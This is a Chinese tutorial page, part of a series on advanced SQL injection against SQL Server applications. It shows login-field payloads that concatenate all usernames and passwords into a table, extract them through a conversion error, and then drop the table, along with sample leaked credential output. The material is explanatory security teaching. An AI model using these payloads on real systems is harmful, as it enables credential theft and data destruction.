WEB开发网
开发学院网络安全安全技术 SQL Server应用程序的高级Sql注入 阅读

SQL Server应用程序的高级Sql注入

 2009-04-04 13:56:50 来源:WEB开发网   
核心提示: 一个更“别致”的技术是将用户名和密码连接成一个单独的字符传,然后试图将它转换成整型,SQL Server应用程序的高级Sql注入(9),这将举另一种例子;Transact-SQL语句可以将字符串连接成一行而不改变他们的意义,下面的脚本将连接这些值: begin de

一个更“别致”的技术是将用户名和密码连接成一个单独的字符传,然后试图将它转换成整型。这将举另一种例子;Transact-SQL语句可以将字符串连接成一行而不改变他们的意义,下面的脚本将连接这些值:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end

攻击者用这个'username'登陆(明显都在同一行)
Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--

这创建了一个只包含单列'ret'的表'foo',而且把我们的字符串放在里面。通常一个低权限的用户可以在示例数据库里创建表,或者一个临时表。

之后攻击者选择查询表里的字符串,就像前面说的:
Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/password
fred/sesame' to a column of data type int.
/process_login.asp, line 35

然后删除这个表:
Username: '; drop table foo--

上一页  4 5 6 7 8 9 10  下一页

Tags:SQL Server 应用程序

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接